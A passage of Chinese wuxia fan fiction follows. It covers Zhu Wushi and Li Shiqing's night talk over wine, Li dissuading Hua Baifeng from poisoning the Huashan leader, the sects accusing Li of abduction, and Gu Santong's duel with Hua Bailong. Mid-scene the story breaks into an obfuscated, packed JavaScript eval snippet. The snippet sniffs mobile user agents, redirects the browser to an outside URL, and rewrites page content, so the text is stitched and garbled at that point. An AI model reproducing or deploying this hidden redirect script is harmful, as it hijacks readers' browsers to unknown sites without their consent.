“朱兄且慢!”李世晴笑道,“古兄与素心姑娘本就是未婚夫妻,他们小两口吵架,你又何必搅进去?” 朱无视只觉得心口被猛地一击,回头一看,只见李世晴面带笑意,眼神却无比严肃,即明白他话中所指。朱无视呆愣片刻,最终脱力般坐下,苦笑道: “李兄说得对!” 李世晴见朱无视如此失魂落魄,心中也不是滋味。其实,这几日他们结伴而行,李世晴已得知古三通与素心乃指腹为婚,也看出古三通、素心及朱无视三人之间纠葛,只是男女之事说不清道不明,纵有天大的智慧,也难想出万全之策。李世晴只能出于朋友之义,尽力调解,唯求不至于酿成大祸,使三人悔恨终生。 李世晴在朱无视身边默默坐下,由怀中摸出一小埕酒,甫一打开,清香四溢,又取两只瓷杯,分别斟酒。 “这酒是我亲手所酿,名为醉青绮,我想这方圆十里,唯有朱兄懂得品鉴。正好夏夜星朗,朱兄可否赏脸与我共饮一杯?” 李世晴所言并非全是奉承。自那日游舫夜话,朱古李三人结拜,古三通为人豪爽,性情直率,与之相处甚是愉快,但他是顽童心性,又一意习武,文采风流自然不如皇族出身的朱无视,因此有些时候,李世晴更乐意与朱无视饮酒畅谈。 朱无视端起酒杯,见杯中酒液清亮,酒香扑鼻,再细品酒名,忽地举杯吟道: “蹙入青绮门,当歌共衔杯。 衔杯映歌扇,似月云中见。” 李世晴听闻呆愣片刻,心中感怀,接到起吟: “相见情已深,未语可知心。” “这首《相逢行》全诗一百五十字,却只有一个‘情’字。敢问世晴兄,有何见解?” “我倒想听朱兄高见。” “常人皆道李太白之《相逢行》乃言男女情爱、相思之苦,我却不以为然。” “哦?” “李太白自比酒仙诗仙,一生潇洒,文风豪迈,怎会耽于儿女缠绵,自怨自艾?”朱无视将酒一饮而尽,朗声道,“世人只道‘情’字只有男女情爱,我却偏重兄弟之义,更何况心之所倾既是情,为何非要拘泥于男女之爱?” 李世晴见朱无视如此豪情,亦是一饮而尽,笑道: “今夜多谢朱兄为我说话,朱兄说我是闲云野鹤,可我看朱兄一身武艺,却从未显露。你本是皇子之身,尽可享天家富贵,为何还要跟着古兄风雨漂泊?” “光景不待人,须臾发成丝。当年失行乐,老去徒伤悲。纵使生于天家豪门,真心相待又能有几人?江湖渺茫,知己难求,幸得相逢,就是折寿十年也心甘,风雨漂泊又算得什么?想那李太白诗中所言,亦是此意,对吗?” 朱无视此言,已然说进李世晴的心坎中。 “其实,我明白李兄话中之意……”言至此处,朱无视忽地低眉轻叹,“我知我言行逾矩,但请李兄相信,我绝无歹意,也从未想过强求什么。心上人难舍,可知己更是难逢。三通待我至诚,甚至愿将天池怪侠的武功线索与我分享,我心中自然感念恩情。就算我未能练就金刚不坏神功,但既然古兄志在天下第一,我也愿一同见证!” 朱无视言辞恳切,眼中闪烁着真诚的光芒,直叫李世晴后悔以小人之心度君子之腹,又听朱无视提及金刚不坏神功,更觉羞愧,只好道: “朱兄也不必这样说!你虽未练成金刚不坏神功,但同样得天池怪侠绝学,修为之高,足以傲视群雄。更何况吸功大法与金刚不坏神功本就相生相克,若朱兄有意,这天下第一之名归属何者,也未可知。” “李兄此言,是在试探我吗?”朱无视反问,却不见恼怒,反而释然一笑,“男子汉立于天地间,至伟,建功报国,得青史留名;至凡,成家立业,求一世平安。所谓天下第一,在我看来不过虚名而已,实在不值得为此枉树强敌,徒耗光阴。” 朱无视一番话实出李世晴之意料。这一路走来,李世晴见朱无视寡言少语、行事稳重,原只当他是文雅风流的皇族子弟,可今夜一谈,才知朱无视不但重情重义,胸中更是别有丘壑。感怀之余,更生钦佩,遂复斟酒,道: “朱兄心怀壮志,我亦钦佩。你本就是皇子之身,如今又习得一身本领,只要蹈厉奋发,再假以时日,将来定能成就一番大事业!” “如此,便承李兄吉言!”朱无视举杯敬道,“不过此乃后话。眼下,古兄身陷难关,既已结义,我也不愿袖手旁观。更何况天池怪侠与玉龙仙客传人之战,更是不容错过。李兄一路相伴来此,恐怕也是此意。” 李世晴听闻,笑而不语,只是举起酒杯。言至于此,李世晴只觉彼此心意已不言自明,瓷杯碰撞之间,情义信任更上一层。 以己之心,度人之心,未尝不同,则道之不远。这是李世晴幼时读书习来的一句话,心中十分赞同。李世晴是重情之人,与古三通、朱无视相识结拜,视为至交,今夜又听朱无视一番豪言壮语,推己及人,更是认定朱无视与他一样,对好友诚心以待,绝不会背叛欺瞒。只是李世晴不明白,人心不仅难测,更是多变,直到多年以后他才得知真相,个中悔恨悲凉实是常人难以想象。 时至三更,浓浓的夜色笼罩着山峦湖泊,寒风一来,满山树木哗哗作响,叫人听着不禁心生怯意。宿苍山庄位于太湖西山之上,沿山要道皆有弟子值守,虽至深夜,仍未敢懈怠。 但有一个人,凭借夜色与风声的掩护,避开守卫,沿着陡峭的山崖向上攀登。此人轻功极好,又十分熟悉山林,不一会儿登上顶峰,寻着一处守卫疏忽,身形一掠,翻过围墙。 本以为十分顺利,不想刚走几步,她忽然察觉异样,迅速回身一掌,却不料被扣住手腕。 被发现了!花白凤心下大惊,内力一震,手腕挣脱,随即双手向来人抓去。花白凤出招狠辣,可那人也武功不低,拆了数招,花白凤非但不占上风,反而又被扣住左手手腕,反压至背后,右肩肩井穴被扣,登时半身酸麻。 花白凤本想挣扎,可右臂酸麻难当,稍一用力,疼痛更甚,又听背后之人说: “此乃肩颈要穴,我劝姑娘莫要妄动。” 此人声调柔和,声润如玉,说话不似威胁,倒像劝解。可花白凤性子好强,虽然眼下受制于人,仍不愿退让,索性咬紧牙关,一声不出。 过了一会儿,身后人又柔声劝道: “姑娘保证,不再攻击,也不逃跑,我就放手。” 花白凤依旧不出声,却点了点头,随即双手便被放开。 可刚一摆脱束缚,花白凤反手向后拍去,岂料身后人躲也不躲。 恰逢此时,夜风袭来,吹散乌云,星光洒落,映照出身后人粉雕玉琢般的俊雅的面容,花白凤一时心神恍惚,竟也不自觉地停手了。 “是你啊,无痕公子!” 李世晴显然不喜欢这个称号,只见他眉头微蹙,却仍是十分有礼,道: “出手唐突,请恕在下无礼!” “你来干什么?” “这话我还想先问姑娘。” 花白凤一时语塞,因为此刻他们正在宿苍山庄庄内。 “要……要你管!天大地大,本姑娘爱去哪里就去哪里!” “若只是散心,自然不用我管。可小姑娘散心,却不该带着这个。” 说着,李世晴提起一个小巧的竹篓。 花白凤见状一惊,往腰间一摸,果然原本别着的小竹篓已不翼而飞,又见李世晴已将竹篓打开,惊呼道: “小心!” 只见竹篓稍开一条小缝,一道黑影如利箭飞出。花白凤眼疾手快,一把掐住黑影。李世晴定睛一看,竟是一条条纹斑斓的小蛇。 “算你命大!”花白凤一边嗔怪,一边从李世晴手中夺回竹篓,将小蛇放入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304794|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早听说滇南苗民善于养蛊,我看这条蛊蛇,姑娘应该是花了不少功夫。” “是又如何?怎么?你也要说我们苗人歹毒,只会这些旁门左道吗?” “我不是这意思……”李世晴料想不到会触及花白凤痛处,连忙解释,“我只想说……既是辛苦练成的宝贝,何必因一时意气而滥用?” 言至此处,李世晴目光一转,望向远处厢房,窗上映出一个妇人身影。 “你是要去找华山掌门袁玉淑,对吗?” 各大门派前来宿苍山庄祝寿,宿苍山庄为尽地主之谊,自然安排各大门派宿于庄内,而此处正是华山派居住的别院。 眼见瞒不下去,花白凤倒也爽快,直言道: “是又怎么样?那个恶婆娘今日嘲笑我和哥哥,你也受她羞辱,我怎能咽下这口气?既然她敢看不起我,我就用我精心炼制蛊蛇对付她,让她尝尝皮肤溃烂、肝肠俱断的死法!” 花白凤言语恶毒,叫人难以想象这是出自一名十九岁的美丽少女之口。李世晴心中叹息,开口劝道: “你今夜前来,你的哥哥知道吗?” “今夜之事是我自作主张,与哥哥无关,一切只管冲我来!” “可是若你今夜真得手了,华山派追究起来,也只会说南教害人,哪会在乎是谁下手,又是谁的命令?更何况,你以为今夜偷偷潜进来就不被发现吗?武林皆知南教善于用毒,你用蛊蛇毒害华山掌门,就算没留下证据,可各大门派还是会怀疑南教,到头来,不过自找麻烦。” 李世晴本想劝阻花白凤,却不料又戳中花白凤心中痛处。花白凤不禁愤恨道: “你也会说,就算没有证据,还是怀疑南教!天下之大,难道只有南教会用毒吗?难道所有被毒死的人都是南教下的手吗?不过是你们中原汉人排挤苗人的借口而已!我偏不受这委屈,都说苗人歹毒,我就歹毒给他们看!你要拦我,我就连你一起收拾!” “那么之后呢?” “什么之后?” “下毒之后又怎样?各大门派得知南教下毒,群起攻之,你受了委屈,又要下毒,那些幸存的门派后人又来找你寻仇,如此冤冤相报,何时到头?” “这……” “你仔细想,你如今青春年少,可袁玉淑已经年过三十,年岁远大于你。就算你下毒杀了她,今后的人生也要背负仇恨,华山派弟子也不会放过你。就算你武功再高,南教势力再大,也不可能将所有与你作对的人都杀死。难道你要为了一时意气,赔上自己今后几十年的人生吗?” 言至此处,李世晴停了停,他见花白凤神色由愤怒转为困惑,两弯柳叶眉纠结在一起的模样甚是可爱,李世晴忍住笑意,又柔声劝道: “我不是拦你,只是希望你能想清楚,若你能够接受从今以后不断被人寻仇的后果,就只管去;可若没有想清楚,今夜不妨就此收手,就当事情没有发生过,我也会为你保守秘密。” “那……那就吃了这哑巴亏,就这么让人侮辱嘲笑吗?” “嘴长在别人身上,你管不了别人说什么。既然管不了,又何必自寻苦恼?你觉得她说话难听,就当做是驴叫,你若退一步,久而久之,她也把你忘了。天下之大,还有许多开心的事情,为何非要记着这些让你不愉快的人?” 李世晴这一番话让花白凤无从反驳,同时心中也生出一种奇妙的感觉。花白凤自小长在滇南,作为南教圣女,备受呵护,此次和哥哥一起游历中原,所见汉人大多傲慢无礼,对待苗人更是蔑视排挤,花白凤因此平白受了不少气。可眼前这个汉人,明知自己是去下毒,既不告发,也不声张,虽然劝阻,依旧柔声细语,还引导她自己思考抉择,这份耐心,就是在哥哥身上也不曾见过。 “你……就是为了和我说这些,大半夜守在这里?” “是。” “今天,我被那些人嘲笑的时候,是你出头骂退他们的,是吗?” “嗯……”李世晴料想不到花白凤会有此一问,一时也不知如何回答。 “你这人可真有意思!”花白凤见李世晴语塞的模样,不禁笑出声来,“你不用否认,你的声音很好认的。我只是不懂,你明明看起来那么怕惹麻烦,又是汉人,为什么要出头帮我这个苗人?” “汉苗只是出身,不代表对错。你初来中原,不懂风俗礼仪也是情有可原,那些人以此嘲笑你实在卑鄙,我看不惯,这才出言帮了几句。” “真的……只是这样?” 花白凤忽然上前靠近一步,眼神直逼李世晴。李世晴猝不及防,与花白凤四目相对,却只见花白凤眼中并无戾气,反而带着些许柔光,如同黑夜中的星辰,微风荡漾,似乎还能闻到一丝香气,他也不禁跟着心神恍惚起来。 “自……自然是……” 李世晴连忙后退,支吾道。 花白凤仍想追问,却瞥见一缕火光。原来是宿苍山庄弟子夜间巡查,李世晴连忙拉着花白凤奔逃躲避,在院中湖边寻着一片假山石丛,这才躲了过去。 李世晴、花白凤躲在假山之中,稍稍平复气息,却不料又有人来。二人大惊,屏气藏匿,因此来人并未注意到他们。此人步履轻盈,微微喘息,迅速绕过假山,直奔湖中石亭而去。 花白凤好奇心起,爬上假山山顶,隐蔽在一块巨石阴影背后,观察湖中石亭。李世晴拦她不住,又怕再惹事端,只好跟随。 借着微弱的星光,二人看见石亭之中有两人。其中一人身穿道袍,发髻高束,另一人身形窈窕,长发及腰。二人最初只是迎面而站,似乎在说话,渐渐地四手相执,到最后竟然拥抱在一起。 他们就是武当首徒郑无相和宿苍山庄大小姐陈霜衣。 “哎呀呀!”花白凤一声低叹,“原来他们二人是这种关系,难怪今天这位陈大小姐那么袒护小道士。” 滇南苗人自古以来对于男女之事较为开明,花白凤虽然年轻,但自小跟着教中老人参加花神宴会,男女相好之事见了不少,早已不觉得新鲜。原本打算离开,却见身旁的李世晴正一脸凝重,还十分惋惜地长叹一声。花白凤见李世晴迂腐模样,虽不明白他为何叹息,却觉得十分有趣,忍不住“噗嗤”一声笑出来。 这一笑,却惊动亭中幽会的二人。 “谁?” 郑无相受惊之下,下意识地放声高呼,随即一枚暗器飞来。李世晴反应迅速,一手护着花白凤,一手振袖一拂,拂落暗器,却觉手感不对,似乎那枚暗器不是金铁,而是一个小巧布包,隐隐散发一股药味。 李世晴正自惊疑,紧接着一股杂乱的叫嚷声从四面八方涌来。原来,郑无相方才下意识的呼喊,招来山庄守卫。 李世晴见状不妙,拉着花白凤转身就跑,却不料宿苍山庄守卫围捕迅速,二人又不熟地形,竟慌不择路地逃入山庄深处一方别院。眼见围捕的火光越来越近,李世晴只好拉着花白凤躲藏在院角一颗大树后。 “你在这里藏好,待我引开那些人,你就先逃!” 说罢,李世晴从袖中抽出一方丝巾,充作蒙面,转身向火光冲去。 花白凤本想出声阻拦,却已来不及。但看着李世晴远去的身影,她的心中竟也生出一丝安全感。 25.欲罪何无辞 危局斗蛮傲 一夜过去,虽偶有波澜,但太湖之水总算归于平静。 卯时刚过,素心已起身,简单梳洗之后,去厨房烧了一盆热水,为古三通送去,客栈小二见了也忍不住夸赞素心勤劳贤惠。古三通痴迷武学,每日天未亮时就起身练功,素心和古三通尚未完婚,分房而睡,但她睡眠向浅,在知晓古三通每日早起练功之后,也跟着早早起身,烧水做饭,等古三通练功结束后,就有热水和早膳可用。这样的默默付出和接受已经成为日常。 今日也是如此。可当素心端着热水登上三楼,来到古三通的房间,却发现房内空无一人,房间朝向湖面的侧门大开,清晨冷风不住地往里灌。 素心放下水盆,想过去把门关上,却不料刚一靠近,忽闻一声低喝。 “素心,别过来!” 素心吓了一跳。只见古三通、朱无视、李世晴三人一同站在门外走廊上,古、李二人神色凝重,如临大敌,朱无视则率先护在素心身后。 这间客栈临水而建,古三通的房间位在三楼,面朝太湖,景色优美,可眼下无人有兴致欣赏。只因此刻,客栈四周及湖水沿岸皆被中原七派及宿苍山庄包围。 “哼,来得好快啊!”见此阵仗,古三通也不慌乱,冷笑一声,随即转向李世晴,喃喃道,“真让你们说中了!是我把你牵连进来,抱歉了李兄!” 古三通虽是孩童性情,但总算知错就认,只是事到如今,多责无益。于是,李世晴上前一步,拱手道: “众位前辈今早前来,敢问所为何事?” 除去宿苍山庄庄主和各派高手,四大名捕亦到场。凌步天率先上前,笑而不答,反问道: “公子如此聪慧,难道猜不到吗?” “还是为镇南镖局之事?” “你们烦不烦啊!”古三通已按捺不住脾气,上前抢道,“我昨天已经把知道的都说了,是那镇南镖局……” 眼看古三通出言无忌,李世晴急忙一把按住他,又看向昆仑掌门何凌云,却只见何凌云一改以往暴躁,神色淡然,眼神却冷得可怕。 面对古三通的怒火,凌步天倒也淡定,又是一问: “请问古少侠,可知火耗?” “什么火耗?”古三通不明所以,只好看向李世晴。 “就是税银。朝廷每年在全国各地征收赋税,难免收上一些成色、质地不佳的碎银,这些碎银由各地布政司统一收集,重新熔铸官银,在这过程中会产生一些损耗,各地为了弥补损耗,会再征收火耗银。因为是加征赋税,数额不定,押运也……”言至于此,李世晴猛然顿悟,“难道,镇南镖局被劫货物……” “不错!”凌捕头眼神一冷,无比严肃,“正是今夏湖广火耗。” “那又怎样?”古三通不耐烦道。 “若只是江湖恩怨,朝廷自然不管。可如今事关朝廷赋税,刑部已立专案,设下期限。既然古少侠自认与镇南镖局被劫一事有关,烦请古少侠与在下一道回京,接受调查。” “哼,我算是听明白了!意思就是说,朝廷赋税被劫,你们刑部立了案子,却又找不到犯人,眼看期限到了,只好抓我回去交差,是吗?” “古少侠何必这样说!” “怎样说无所谓,反正就是这个意思。”古三通冷笑一声,握紧双拳,“那件事情我已经说得很清楚,信与不信在你们。我自问没有做过,凭什么要跟你们走?还是说,你们自认为有本事把我硬绑回去,尽管来试试!” “在下当然没有这个本事。可古少侠自陈无罪,空口无凭,难免招人闲话。古少侠武功盖世,自然不怕,可你身边之人又是否受得了流言如刀呢?你说是这道理吗,无痕公子?” 凌步天意味深长地看向其他人,古三通不禁大怒,喝道: “你什么意思?有何手段只管朝我来,关其他人什么事?公子他……” 古三通还未说完,已被李世晴拦下。只见李世晴一改以往平易温和,上前一步高声道: “欲加之罪,其无辞乎?凌捕头如此威胁,实在有失名捕身份!” “公子何出此言?” “凌捕头心中明白。湖广富庶之地,火耗数目必然不小。古兄本是江湖人,独来独往,要这一大笔钱做什么?退一步说,纵使古兄起了贪念,抢夺钱财,他一个人如何将这些银两搬运、藏匿?此案发生于三个月前,以刑部之能,难道一点线索也查不到?” 言至于此,李世晴忽地眼神一冷,坚定道: “原本刑部名捕查案无需他人指点,可古兄既已再三申明此案与他无关,我身为朋友,自当信任维护。更何况我也说过,我愿以性命为古兄担保,与他共同进退,绝非戏言,诸位不信,尽可以试试!” 李世晴言语豪迈,眼神坚定,叫古三通无比感激。反观凌步天,他威胁失效,却未见丝毫慌乱,十分淡然道: “公子高节,本该佩服。可如今,你也是自顾不暇。” 说罢,四大名捕转身后退,代之上前的则是武当掌门白石道人和宿苍山庄庄主陈玄松。 “请问两位前辈有何指教?” 白石道人和陈玄松似乎仍有顾虑,二人相视一眼,最终由陈玄松开口。 “我看公子今日装扮与昨不同,敢问是何原因?” 陈玄松此话不错。昨日李世晴拜访宿苍山庄之时,穿的是水青色丝绸长衫,而今日则换成一身白色纱袍,腰间束以墨玉锦带,胸前劲笔描绘江河山水图,映衬本人儒雅之气中更显一丝豪情。 “你们是故意找麻烦吗?公子穿什么衣服要你们管!”古三通不忿好友受疑,上前出头。 陈玄松无视古三通怒火,从袖中摸出一件物什展开,是一块水青色绸布,似是衣衫边角,其上还绣着梅花纹路。 “昨夜宿苍山庄遭人闯入,弟子追捕,回报称是一名蒙面男子,而此物则是弟子暗器削下那蒙面男子的衣衫边角。”言至此处,陈玄松眼神一黯,“请问公子,你昨日所穿衣裳现在何处?” “那……那又怎样?你们就凭一块破布前来兴师问罪吗?” 古三通声音不免发虚,只因连他都认出陈玄松手中绸布正是李世晴昨日所穿的青衫边角。 “自然不是!”这下,轮到白石道人开口,“当年玄机老人对宿苍山庄有恩,如非大事绝不会为难公子。只是昨夜……宿苍山庄陈大小姐在庄内被人掳走。” 此言一出,朱、古、李三人皆是大惊。 “喂喂喂,你们等等!”饶是古三通脑筋再慢,也反应过来,急忙袒护,“人不见了就去找,仅凭一块破布就可以随意怀疑吗?” “当然不止这个!据昨夜守卫弟子回报,闯入者身边还有一名少女身影。” 这一下,李世晴更是百口莫辩。 “公子……”陈玄松再度开口,比起白石道人的质问,他的语气焦急,更像哀求,“请公子见谅,我膝下只有一女,她失踪了,我为人父亲难免着急!可……可既然公子昨夜来过宿苍山庄,为何不肯承认?你到底是为何而来?身边的女子是不是……” 李世晴不知该如何辩解。他并未掳劫陈大小姐,问心无愧,可若要说出昨夜为何去过宿苍山庄,就等于供出花白凤潜入山庄,意图毒害华山掌门。李世晴既已承诺为花白凤保守秘密,就决不会失信。 “请恕我不能……” “等一下,不关他的事!” 忽然,人群之外传来一阵银铃般的女声,众人的目光随之而去,只见一名少女飞身跃起,施展轻功,转瞬登上三楼,站在李世晴身边。 “姑娘!”李世晴见花白凤为他出面,心中震惊之余,又有一丝感动。 “你好啦!”花白凤见李世晴似乎有话要说,干脆一把打断,“你迂腐也要有个限度!只为了一句替我保守秘密的承诺,就任由别人冤枉你吗?我才不欠你的情,你不说我来说!” 花白凤面向众人,眼神扫视一圈,除了中原七派和宿苍山庄,南教众人也已赶来,她的哥哥花白龙正以锐利的目光逼向她。花白凤见哥哥的目光,顿时有些退缩,但又转瞬下定决心。这一次,她决定违背哥哥。 “昨夜无痕公子身边的女孩儿是我,不是陈大小姐,你们莫要冤枉好人!” “这么说,昨夜是你闯入宿苍山庄?你究竟有何意图?”白石道人逼问道。 “没什么意图,我想去就去!都说宿苍山庄在中原武林地位崇高,我偏看不上,我就是想去就去,想走就走,你们又能拿我如何?” “这么说是你们把陈大小姐……” “笑话!我去过宿苍山庄就是我把陈大小姐掳走的吗?在场的中原七派和四大名捕昨夜都住在宿苍山庄里,岂不都有嫌疑?” “你……强词夺理!” “哼,说不过你们,是我理亏词穷;说得过,又是强词夺理。中原汉人果然讲道理!”花白凤不屑一笑,随即指向一人,“你们要找陈大小姐,不如去问他!” 众人顺着花白凤手指方向一看,竟是武当首徒郑无相。 “昨夜我去宿苍山庄,亲眼看见这小道士和陈大小姐在凉亭幽会。后来被人发现,我就逃了,无痕公子也可以作证。” 李世晴原本对此事有所顾虑,但眼下花白凤一口气说出,他只能坦言。 “是,我也看见了。” 此言一出,众人哗然。中原礼教,对于男女之事诸多避忌约束,倘若未经媒妁,私下幽会,就是天大的丑事,更何况武当派和宿苍山庄皆是中原武林名门,加之陈玄松和白石道人原是同门师兄弟,陈霜衣是陈玄松的女儿,郑无相却是白石道人的徒孙,二者辈分悬殊,若花白凤所言属实,那么这两派便要名声扫地。 果然,众人议论纷纷,陈玄松沉默不语,却已气得脸色青白,而一直镇定自若的白石道人也忍不住动怒。 “一派胡言!无相是我门下弟子,幼承庭训,虽不能说是少年英才,但品行端正,从未逾礼。更何况陈大小姐乃名门闺秀,又怎会……如你所言那般苟且?” 白石道人的一番话让花白凤觉得可笑又疑惑,在苗人看来,男欢女爱,天经地义,只要是真心的,又怎么会扯上“苟且”二字? 更让花白凤不明白的是,在场中原武林众人竟也信了白石道人一番话,纷纷指责是李世晴掳人在先,花白凤污蔑在后。 花白凤百口莫辩,怒从心起,可未及发作,又被打断。 “够了!” 一声怒喝响起,竟是古三通。只见古三通满怀豪气,上前一步,怒道: “你们一个个武林大派、名门高手,说得好听,到头来尽欺负一个小姑娘,害不害臊!人家都已经说清楚不关她事,你们就凭一块破布、一点线索便胡搅蛮缠。自己的徒弟做过什么心里清楚,你徒弟出身名门冤枉不得,那别人说话就是放屁吗?” 古三通言语粗俗,却一针见血,将白石道人气得脸色铁青。可武当派毕竟是武林名门,许多人等着为它出头辩护。 “放肆!” 又听一声怒喝,竟是昆仑掌门何凌云。 “武当派乃是当今武林名门,岂由得你小子随意羞辱!莫要以为你武功高强,便可肆意妄为!在场武林群豪绝非贪生怕死之辈,你只有一双拳头,又能杀得了几人?” “哼,说到底,还不是要靠拳头讲道理!正合我意,都说中原七大大门派高手齐聚太湖,可我看也没几个硬茬子!不管什么门派、多少人,有本事就尽管上来,我都奉陪到底!” “阿弥陀佛……” 古三通如此狂妄,少林寺也看不下去。只见少林寺了介大师上前一步,一声长叹道: “苦海无边,回头是岸。古施主虽武功高强,可戾气太重,出言无忌,诳愚众生,已犯妄语之戒,若仍不悔改,他日堕拔舌地狱……” “少啰嗦,我听不懂!”古三通一挥手打断了介大师,“我都说了,要比试尽管上来,你是少林掌门的弟子,总不至于像那十八罗汉阵一样只是花架子吧!” 一个月前,古三通大破少林十八罗汉阵,江湖皆知,如今又主动提及,等于再打少林寺的脸面,饶是出家人忌怒忌嗔,也总有容忍限度。 “如此,贫僧只能向古施主讨教一二!” 说罢,只见了介大师一甩颈上佛珠,双袖挥展,十指发力成利爪之势,右足腾挪扎马,左足高抬定立,周身俨然如金龙飞腾。 “这就是少林绝技龙爪手吧?” 古三通看似傲睨自若,实则心中不敢懈怠,暗中蓄力于双拳,只是未等出招,又听一声呼喊。 “慢着!” 此声洪亮,内力浑厚,更带有几分豪气。原本围攻众人听闻此声,如潮水般向两侧退去,让出道路,一行人走上前来,正是南教教主花白龙。 了介大师见此,微微怒道: “贫僧听闻苗人尚武,尚且讲究公平决斗。此乃中原武林之事,就算教主要徇私袒护,此时出手,为免太过心急!” 花白龙自然明白了介大师话中所指,却不动怒,反而微微一笑,恭敬道: “大师误会了!我这妹子出言不逊,日后自当管教。只是眼下,我却有一个不情之请。” “你是要维护古三通?” “不,我是想请大师暂且收手,让我与古少侠先对战一场。” 此话一出,众人皆是疑惑,李世晴也猜不出花白龙究竟是何意图。 “此话何意?” “大师有所不知。我的祖父、也就是南教始主玉龙仙客与古少侠的师父天池怪侠曾有一战,定下百年之约,相约百年之后由后人精习本门武艺,再战一场。我此次前来中原,正是为了完成约定。如今正好诸位武林前辈皆在,我向古少侠发起挑战,请诸位做个见证。” 花白龙此言并无任何欺瞒编造,李世晴自然清楚,其余中原七派和宿苍山庄虽不知当年缘故,却也未能从花白龙言语中寻得破绽,更何况他们此刻另有心思。因而一个个神情疑惑戒备,无人出声赞同,亦无反对。 花白龙早已预料各派反应,心中鄙夷,面上却不动声色。反倒是古三通性急,抢先开口: “哎呀,这有什么可想的?我人在这里,还能跑了不成?就让我和这位南教教主先打一场,到时候无论谁胜谁负,你们都可以再收拾下一个。” 古三通口无遮拦,却说中各派心中所想。古三通武功高强,魔教亦不可小觑,中原武林将这二者视为大敌,唯恐二者联手。可眼下,古三通与魔教两相争斗,若是能够两败俱伤自然最好;就算不能,高手对战,必是生死决斗,若一人落败,另一人也会筋疲力尽、伤损不轻,到那时各派联手对付余下一人,便是胜券在握。 果然,古三通话音一落,崆峒掌门天星子便站出来说道: “依晚辈愚见,这的确并无不可。想当年天池怪侠亦是武林高人,既然高人有约在先,理应先让古少侠和教主完成决战。我中原武林气量宏大,这点时间还是等得起。” 天星子话语极尽圆滑漂亮,在场各派无不点头附和,了介大师听闻后也收招让步。天星子自以为以一己之力说服各派高手退让,算是给古三通和魔教卖了人情,得意洋洋地看向古三通和花白龙,却不想花白龙对他不屑一顾,古三通更是冷笑一声,眼中鄙夷毫不遮掩。 眼下情势已定,李世晴知道心中再多疑虑也劝不住古三通,只好缄口不言。自那夜听闻天池怪侠与玉龙仙客百年之约,古三通早已是满怀期望要与花白龙一战,眼下更是急不可待。 只见古三通足尖一踏,身形一跃,施展轻功,转瞬便已掠过水面,登上湖岸。而原本团团包围的中原各派也逐渐向后退去,给二人留出空间。 “花兄有请!” 古三通一改常态,对花白龙毕恭毕敬地抱拳行礼。众人见此,不免惊讶,殊不知古三通虽行事顽劣,却性情纯良,他挑战高手是为求精进武艺,从无耀武扬威之心,比武之前礼仪规矩也是一贯遵守。加之古三通痴迷武学,花白龙武功高强,行事豪迈,正合古三通脾性,因而更生敬意。 “古兄有请!” 花白龙亦是笑着抱拳回礼,可随即脸色陡然一变,一掌向古三通胸前拍去。 花白龙这一掌呼啸生风,却古三通抬手挡下,随即反手一拳直攻面门,亦是力沉势雄,却同样被花白龙挡下。二人虽只过一招,但出手皆是快如闪电,围观众人还未看清,只觉劲风扑面,随即两道人影已战作一团。 二人对攻缠斗,古三通求胜心切,连连抢攻,花白龙以守为主,身法诡异,步法多变,接连避其攻势,一时间竟也未落下风。二人皆是出手极快,招式精妙,且内功深厚,眨眼间已连斗百招,仍不见倦怠之色,围观众人皆是叹服,可又逐渐察觉端倪,连连惊呼: “少林大力金刚指……” “武当伏虎拳……” “峨眉飞凤穿心掌……” “崆峒猴莲七英功……” “昆仑三阴手……” “华山一仙剑……” “丐帮铁帚腿法……” 不错!古三通眼下所使正式中原武林七派武学。 古三通师出无门,眼下所使七派武学乃是近一年来挑战各派高手临阵学来。以往古三通挑战各派高手,皆是先以轻功身法闪避,引诱对方出招,再临阵拆解。古三通有金刚不坏内功护体,寻常招式已伤他不得,且他的武学天赋世所罕见,对战之时,只看一眼就能将对手招式牢记心中,往往十招之内就摸透对手武功路数,百招之内想出破解之法。古三通每每挑战之后,再复盘对手招式,勤加演练,如此循环往复,已将各大门派武功学得七七八八。 眼下,古三通对战南教教主花白龙,求胜心切,恨不得将这一年所学武功一股脑儿地使出。 可古三通不明白,要创立一门武功绝非易事,除去天资之外,还须时日漫长的钻研,代代传承精进,因此名门大派,各有绝学,极少外传,即使门下弟子众多,可资质尚佳之人不过寥寥,这些门派翘楚得师门教导,勤学苦练多年,最后脱颖而出者仅有几人,尚且不能极境至殝,而古三通仅靠一年来的临阵偷学,便身兼各家所长,且招式纯熟精妙,犹胜各派掌门高手,仅这一点足以令人嫉恨。况且古三通还在各派高手面前,用偷学来的武功对战魔教教主,各派高手更感耻辱,接连破口大骂。 可众人不知,这并非古三通有意显耀,更无侮辱之意,而是另有原因。 古三通出身市井商贾之家,父亲好财,整□□儿子学习经商理财之道,可惜古三通志不在此,只爱习武,每每向父亲诉说心中志向,却只能换得一顿鞭打,因此古三通幼时毫无武学根基。直到十五岁时,古三通偶遇一位白衣老人,老人传授他一套绝妙轻功,他才得以逃离家乡。古三通决意远游寻师,可他一无出身,二来初入江湖,不识规矩,拜师屡屡碰壁,最后只得跟随一些江湖卖艺人学个把拳脚功夫。十年前,古、李巫峡初见,古三通只会三两套花拳绣腿。李世晴不忍见古三通武学奇才就此埋没,这才设下谜语,指点他去寻找天池怪侠武功秘笈。 古三通寻得天池怪侠秘笈,闭关八年,最终练就金刚不坏神功。那时的古三通,论内力,放眼天下能与之相抗者寥寥无几,可若论拳脚招式,仍旧如同武行稚子般笨拙。古三通深感不足,想到挑战名门大派,在对战中偷学各派招式。每每对战之时,古三通先是轻功闪避,又言语挑衅,只为激怒对手多出绝招。可各派高手不知其中缘由,只当古三通轻佻狂妄,有意侮辱,古三通亦懒得一一解释,如此仇恨日积月累,最终酿成如今武林共愤。 但眼下,古三通顾不得围观众人如何叫骂,他一心求胜,接连抢攻,将偷学来的各派招式尽数使出,拳风刚劲,掌式迅疾,腿法精湛,斗到酣处,再取树枝为剑,剑气激荡,可即使如此,依旧不能占据上风。 